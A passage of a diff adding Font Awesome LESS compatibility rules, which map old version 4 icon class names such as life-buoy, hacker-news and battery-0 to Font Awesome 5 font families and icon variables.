+.@{fa-css-prefix}.@{fa-css-prefix}-life-buoy:before { content: @fa-var-life-ring; } + +.@{fa-css-prefix}.@{fa-css-prefix}-life-saver { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-life-saver:before { content: @fa-var-life-ring; } + +.@{fa-css-prefix}.@{fa-css-prefix}-support { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-support:before { content: @fa-var-life-ring; } + +.@{fa-css-prefix}.@{fa-css-prefix}-circle-o-notch:before { content: @fa-var-circle-notch; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rebel { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-ra { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-ra:before { content: @fa-var-rebel; } + +.@{fa-css-prefix}.@{fa-css-prefix}-resistance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-resistance:before { content: @fa-var-rebel; } + +.@{fa-css-prefix}.@{fa-css-prefix}-empire { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-ge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-ge:before { content: @fa-var-empire; } + +.@{fa-css-prefix}.@{fa-css-prefix}-git-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-git { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-hacker-news { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-y-combinator-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-y-combinator-square:before { content: @fa-var-hacker-news; } + +.@{fa-css-prefix}.@{fa-css-prefix}-yc-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-yc-square:before { content: @fa-var-hacker-news; } + +.@{fa-css-prefix}.@{fa-css-prefix}-tencent-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-qq { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-weixin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wechat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-wechat:before { content: @fa-var-weixin; } + +.@{fa-css-prefix}.@{fa-css-prefix}-send:before { content: @fa-var-paper-plane; } + +.@{fa-css-prefix}.@{fa-css-prefix}-paper-plane-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-paper-plane-o:before { content: @fa-var-paper-plane; } + +.@{fa-css-prefix}.@{fa-css-prefix}-send-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-send-o:before { content: @fa-var-paper-plane; } + +.@{fa-css-prefix}.@{fa-css-prefix}-circle-thin { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-circle-thin:before { content: @fa-var-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-header:before { content: @fa-var-heading; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sliders:before { content: @fa-var-sliders-h; } + +.@{fa-css-prefix}.@{fa-css-prefix}-futbol-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-futbol-o:before { content: @fa-var-futbol; } + +.@{fa-css-prefix}.@{fa-css-prefix}-soccer-ball-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-soccer-ball-o:before { content: @fa-var-futbol; } + +.@{fa-css-prefix}.@{fa-css-prefix}-slideshare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-twitch { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-yelp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-newspaper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-newspaper-o:before { content: @fa-var-newspaper; } + +.@{fa-css-prefix}.@{fa-css-prefix}-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-google-wallet { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-visa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-mastercard { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-discover { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-amex { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-stripe { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-bell-slash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bell-slash-o:before { content: @fa-var-bell-slash; } + +.@{fa-css-prefix}.@{fa-css-prefix}-trash:before { content: @fa-var-trash-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-copyright { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-eyedropper:before { content: @fa-var-eye-dropper; } + +.@{fa-css-prefix}.@{fa-css-prefix}-area-chart:before { content: @fa-var-chart-area; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pie-chart:before { content: @fa-var-chart-pie; } + +.@{fa-css-prefix}.@{fa-css-prefix}-line-chart:before { content: @fa-var-chart-line; } + +.@{fa-css-prefix}.@{fa-css-prefix}-lastfm { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-lastfm-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-ioxhost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-angellist { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-cc:before { content: @fa-var-closed-captioning; } + +.@{fa-css-prefix}.@{fa-css-prefix}-ils:before { content: @fa-var-shekel-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-shekel:before { content: @fa-var-shekel-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sheqel:before { content: @fa-var-shekel-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-meanpath { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-meanpath:before { content: @fa-var-font-awesome; } + +.@{fa-css-prefix}.@{fa-css-prefix}-buysellads { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-connectdevelop { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-dashcube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-forumbee { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-leanpub { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-sellsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-shirtsinbulk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-simplybuilt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-skyatlas { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-diamond { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-diamond:before { content: @fa-var-gem; } + +.@{fa-css-prefix}.@{fa-css-prefix}-intersex:before { content: @fa-var-transgender; } + +.@{fa-css-prefix}.@{fa-css-prefix}-facebook-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-facebook-official:before { content: @fa-var-facebook; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pinterest-p { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-whatsapp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-hotel:before { content: @fa-var-bed; } + +.@{fa-css-prefix}.@{fa-css-prefix}-viacoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-medium { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-y-combinator { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-yc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-yc:before { content: @fa-var-y-combinator; } + +.@{fa-css-prefix}.@{fa-css-prefix}-optin-monster { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-opencart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-expeditedssl { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-battery-4:before { content: @fa-var-battery-full; } + +.@{fa-css-prefix}.@{fa-css-prefix}-battery:before { content: @fa-var-battery-full; } + +.@{fa-css-prefix}.@{fa-css-prefix}-battery-3:before { content: @fa-var-battery-three-quarters; } + +.@{fa-css-prefix}.@{fa-css-prefix}-battery-2:before { content: @fa-var-battery-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-battery-1:before { content: @fa-var-battery-quarter; } + +.@{fa-css-prefix}.@{fa-css-prefix}-battery-0:before { content: @fa-var-battery-empty; } + +.@{fa-css-prefix}.@{fa-css-prefix}-object-group { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-object-ungroup { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-sticky-note-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-sticky-note-o:before { content: @fa-var-sticky-note; } + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-jcb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-cc-diners-club { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-clone { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-hourglass-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hourglass-o:before { content: @fa-var-hourglass; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hourglass-1:before { content: @fa-var-hourglass-start; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hourglass-2:before { content: @fa-var-hourglass-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hourglass-3:before { content: @fa-var-hourglass-end; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-rock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-rock-o:before { content: @fa-var-hand-rock; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-grab-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-grab-o:before { content: @fa-var-hand-rock; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-paper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-paper-o:before { content: @fa-var-hand-paper; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-stop-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-stop-o:before { content: @fa-var-hand-paper; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-scissors-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-scissors-o:before { content: @fa-var-hand-scissors; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-lizard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-lizard-o:before { content: @fa-var-hand-lizard; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-spock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-spock-o:before { content: @fa-var-hand-spock; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-pointer-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-pointer-o:before { content: @fa-var-hand-pointer; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-peace-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-peace-o:before { content: @fa-var-hand-peace; } + +.@{fa-css-prefix}.@{fa-css-prefix}-registered { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-creative-commons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gg-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-tripadvisor { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-odnoklassniki { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-odnoklassniki-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-get-pocket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wikipedia-w { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-safari { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-chrome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-firefox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-opera { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-internet-explorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-television:before { content: @fa-var-tv; } + +.@{fa-css-prefix}.@{fa-css-prefix}-contao { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-500px { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-amazon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-plus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-plus-o:before { content: @fa-var-calendar-plus; } + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-minus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-minus-o:before { content: @fa-var-calendar-minus; } + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-times-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-times-o:before { content: @fa-var-calendar-times; } + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-check-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-check-o:before { content: @fa-var-calendar-check; } + +.@{fa-css-prefix}.@{fa-css-prefix}-map-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-map-o:before { content: @fa-var-map; } + +.@{fa-css-prefix}.@{fa-css-prefix}-commenting:before { content: @fa-var-comment-dots; } + +.@{fa-css-prefix}.@{fa-css-prefix}-commenting-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-commenting-o:before { content: @fa-var-comment-dots; } + +.@{fa-css-prefix}.@{fa-css-prefix}-houzz { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-vimeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-vimeo:before { content: @fa-var-vimeo-v; } + +.@{fa-css-prefix}.@{fa-css-prefix}-black-tie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-fonticons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-reddit-alien { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-edge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-credit-card-alt:before { content: @fa-var-credit-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-codiepie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-modx { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-fort-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-usb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-product-hunt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-mixcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-scribd { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pause-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-pause-circle-o:before { content: @fa-var-pause-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-stop-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-stop-circle-o:before { content: @fa-var-stop-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bluetooth { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-bluetooth-b { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gitlab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wpbeginner { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wpforms { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-envira { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wheelchair-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-wheelchair-alt:before { content: @fa-var-accessible-icon; } + +.@{fa-css-prefix}.@{fa-css-prefix}-question-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-question-circle-o:before { content: @fa-var-question-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-volume-control-phone:before { content: @fa-var-phone-volume; } + +.@{fa-css-prefix}.@{fa-css-prefix}-asl-interpreting:before { content: @fa-var-american-sign-language-interpreting; } + +.@{fa-css-prefix}.@{fa-css-prefix}-deafness:before { content: @fa-var-deaf; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hard-of-hearing:before { content: @fa-var-deaf; } + +.@{fa-css-prefix}.@{fa-css-prefix}-glide { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-glide-g { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-signing:before { content: @fa-var-sign-language; } + +.@{fa-css-prefix}.@{fa-css-prefix}-viadeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-viadeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-snapchat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-snapchat-ghost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-snapchat-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pied-piper { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-first-order { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-yoast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-themeisle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus-official:before { content: @fa-var-google-plus; } + +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus-circle:before { content: @fa-var-google-plus; } + +.@{fa-css-prefix}.@{fa-css-prefix}-font-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-fa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-fa:before { content: @fa-var-font-awesome; } + +.@{fa-css-prefix}.@{fa-css-prefix}-handshake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-handshake-o:before { content: @fa-var-handshake; } + +.@{fa-css-prefix}.@{fa-css-prefix}-envelope-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-envelope-open-o:before { content: @fa-var-envelope-open; } + +.@{fa-css-prefix}.@{fa-css-prefix}-linode { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-address-book-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-address-book-o:before { content: @fa-var-address-book; } + +.@{fa-css-prefix}.@{fa-css-prefix}-vcard:before { content: @fa-var-address-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-address-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-address-card-o:before { content: @fa-var-address-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-vcard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-vcard-o:before { content: @fa-var-address-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-user-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-user-circle-o:before { content: @fa-var-user-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-user-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-user-o:before { content: @fa-var-user; } + +.@{fa-css-prefix}.@{fa-css-prefix}-id-badge { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-drivers-license:before { content: @fa-var-id-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-id-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-id-card-o:before { content: @fa-var-id-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-drivers-license-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-drivers-license-o:before { content: @fa-var-id-card; } + +.@{fa-css-prefix}.@{fa-css-prefix}-quora { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-free-code-camp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-telegram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer-4:before { content: @fa-var-thermometer-full; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer:before { content: @fa-var-thermometer-full; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer-3:before { content: @fa-var-thermometer-three-quarters; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer-2:before { content: @fa-var-thermometer-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer-1:before { content: @fa-var-thermometer-quarter; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thermometer-0:before { content: @fa-var-thermometer-empty; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bathtub:before { content: @fa-var-bath; } + +.@{fa-css-prefix}.@{fa-css-prefix}-s15:before { content: @fa-var-bath; } + +.@{fa-css-prefix}.@{fa-css-prefix}-window-maximize { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-window-restore { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-times-rectangle:before { content: @fa-var-window-close; } + +.@{fa-css-prefix}.@{fa-css-prefix}-window-close-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-window-close-o:before { content: @fa-var-window-close; } + +.@{fa-css-prefix}.@{fa-css-prefix}-times-rectangle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-times-rectangle-o:before { content: @fa-var-window-close; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bandcamp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-grav { + font-family: 'Font Awesome 5 